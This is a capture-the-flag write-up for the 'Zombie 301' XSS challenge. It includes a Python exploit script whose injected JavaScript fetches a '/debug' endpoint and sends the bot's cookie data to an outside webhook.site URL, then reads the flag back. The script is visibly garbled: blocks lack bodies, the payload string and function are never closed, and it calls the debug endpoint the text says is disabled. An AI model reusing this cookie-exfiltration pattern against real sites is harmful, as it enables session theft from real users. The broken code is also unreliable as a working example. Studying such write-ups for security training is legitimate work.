Tags: web xss 


This writeup can also be found at [https://www.bugsbunnies.tk/2023/03/18/zombie.html](https://www.bugsbunnies.tk/2023/03/18/zombie.html).

We're presented with a simple webpage.


By submitting `<script>alert(1)</script>` to the first input we can see that it is not sanitized. This means we can inject arbitrary javascript into the page, making this an XSS vulnerabilty.

The user input is submitted as a url parameter like this: `https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Ealert%281%29%3C%2Fscript%3E`.

This url can be submitted through the second input field and a bot will look at it.

The webpage is the same for all versions of the challenge, only the config changes slightly.

For Zombie 301 the config is as follows:

"flag": "wctf{redacted}",
"httpOnly": true,
"allowDebug": false

The config is used to construct a cookie that is set on the bot when it visits the page.

For Zombie 301 httpOnly is set to true and allowDebug is set to false, meaning we can't access the cookie through our simple XSS and we can't use the debug endpoint.

Since the request is still sent using the header we can just extract the cookie from the request header regardless of the response from the server. This is due to missing security measurements in the browser-implementation used by the bot.

import requests
import os
import re
import urllib.parse

# setup bucket
token_path = ".webhook-site.token"
if os.path.exists(token_path):
with open(token_path, "r") as f:
bucket_id = f.read()
r = requests.post("https://webhook.site/token")
bucket_id = r.json()["uuid"]
with open(token_path, "w") as f:

bucket_url = f"https://webhook.site/{bucket_id}"

# execute exploit
base_base = 'https://zombie-301-tlejfksioa-ul.a.run.app/'
visit_base = f'{base_base}/visit?url='
show_base = f'{base_base}/zombie?show='
payload = f"""
(async function() {{
await fetch("{bucket_url}?cookie=" + JSON.stringify((await fetch("https://zombie-301-tlejfksioa-ul.a.run.app/debug"))))

target_url = visit_base + urllib.parse.quote_plus(show_base + urllib.parse.quote_plus(payload))
print("sending", target_url)
r = requests.get(target_url)

# fetch result
r = requests.get(f"https://webhook.site/token/{bucket_id}/requests?sorting=newest")
data = r.json()["data"][0]["query"]["cookie"]
print(re.search(r"(?<=flag=).*?(?=\")", data).group(0))

Original writeup (https://www.bugsbunnies.tk/2023/03/18/zombie.html).